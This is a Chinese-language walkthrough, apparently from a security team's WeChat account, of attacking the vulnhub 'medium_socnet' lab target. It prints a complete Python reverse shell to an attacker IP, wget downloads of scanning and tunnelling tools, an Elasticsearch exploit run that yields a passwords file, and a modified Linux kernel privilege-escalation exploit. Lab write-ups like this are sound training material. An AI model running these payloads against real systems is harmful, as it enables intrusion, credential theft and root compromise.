免责声明: 文章仅用于技术分享,切勿非法测试,由于传播、利用本公众号朱厌安全团队所提供的信息而造成的后果以及损失,均由使用者本人承担,本公众号朱厌安全团队以及作者不为此承担任何责任!如有侵权烦请告知,我们会立即删除并致歉!
0X00 前言
用的是云尘里的靶机,网址:http://www.cloud-pentest.cn
目标网段:172.25.0.0/24
目标:获取可用用户密码(云尘) / 提权(vulnhub)
分到的 ip:10.8.0.218
0X01 信息收集
主机发现
如果是镜像搭建可以扫网段发现目标靶机,靶场给出了目标网段就直接用
./fscan_amd64 -h 172.25.0.0/24
结果:172.25.0.13 alive
端口扫描
下面看看对应开放了什么端口、服务
sudo nmap -sS -sV -T4 -A -p- 172.25.0.13
可以看到 22 、5000 是开的,主要留意 5000 端口,看一下对应WEB页面
主页面输入的内容会显示在 Messages 下,没有其他回显
dirb / dirsearch 等工具扫下目录,命令:
disearch -u http://172.25.0.13:5000
得到了后台路径 /admin ,访问下
代码运行界面,使用 exec() 函数执行
下面使用 python 反弹 shell 脚本
import socket,os,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建一个 TCP-socket 对象
s.connect(('10.8.0.218',2023)); # 连接攻击者
os.dup2(s.fileno(),0) # 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) # 创建子进程调用SHELL
先开个监听,监听 2023 端口
nc -lnvp 2023
使用压缩后的代码运行
import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.8.0.218',2023));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
获取 shell 至vps
ls 看到一个 Dockerfile,看了一下有 dockerenv,是在 docker 容器
看一下 ip:172.17.0.3
内网发现
接下来就是内网,下面是我常用的两种方法
方法一 (Fscan):
fscan 传上去扫,本地开 http,命令:
python3 -m http.server 8081
传fscan
wegt http://10.8.0.218:8081/fscan_amd64
赋权
chmod 777 fscan_amd64
运行
./fscan_amd64 -h 172.17.0.3/24
发现172.17.0.2:9200 open状态 且有 elasticsearch 漏洞
方法二 (Venom):
先配置后面要用到的 proxychains
sudo vim /etc/proxychains4.conf
在最后一行的 [ProxyList] 加上 socks5 127.0.0.1 1080
本地启动服务端监听
chmod 777 admin_linux_x64
./admin_linux_x64 -lport 9999
在 172.17.0.3 上下一个 Venom 的客户端
wget http://10.8.0.214:8081/agent_linux_x64
客户端启动执行连接服务端
chmod 777 agent_linux_x64
./agent_linux_x64 -rhost 10.8.0.214 -rport 9999
监听成功,获取到了节点 1
切换到 1 节点,使用 socks 1080 ,在 1080 端口开启 socks5 代理服务
然后可以使用 proxychains 对内网干了
proxychains nmap -sT -sV -Pn 172.17.0.2
0X02 漏洞利用
前面发现了 172.17.0.2:9200 有 elasticsearch 漏洞
找找 exp 直接打,靶机老洞就在 kali searchsploit
searchsploit elasticsearch
cp 一份下来对着打
proxychains python2 36337.py 172.17.0.2
发现一个 passwords 文件
在这里只有 john 的账号密码可以直接登上去,其他的都是 Permission denied
解密结果:1337hack
云尘的到此为止了,vulnhub 的靶机还没完
0X03 提权
登录 john
内核提权 3.13.0
searchsploit Linux 3.13.0
复制一份
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
docker 环境里没有 gcc,就不用再编译一个 ofs-lib.so 了,可以去掉这段找 ofs-lib.c 然后编译的相关代码,直接找个合适的 ofs-lib.so 一起丢上去 /tmp 就行
fprintf(stderr,"/etc/ld.so.preload createdn");
fprintf(stderr,"creating shared libraryn");
// lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
// write(lib,LIB,strlen(LIB));
// close(lib);
// lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
// if(lib != 0) {
// fprintf(stderr,"couldn't create dynamic libraryn");
// exit(-1);
// }
write(fd,"/tmp/ofs-lib.son",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
定位
locate ofs-lib.so
复制一份
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
本地编译,告警(warning)可以忽略
gcc -o exp 37292.c
都传上去
john@socnet:/tmp$ ls
exp ofs-lib.so
john@socnet:/tmp$ chmod 777 *
john@socnet:/tmp$ ./exp
小问题
提权如果遇到下面这个
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
可以通过下面这个文章配置特定版本的 glibc 解决
问题解决
https://blog.csdn.net/weixin_65527369/article/details/127973141
参考文献:
[1] 参考文献
https://www.freebuf.com/articles/web/321995.html
[2] 参考文献
https://xz.aliyun.com/t/12065#toc-4
[3] 参考文献
https://github.com/orkestral/venom
[4] 参考文献
https://github.com/maurosoria/dirsearch
原文始发于微信公众号(朱厌安全团队):记一次 medium_socnet 打靶
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论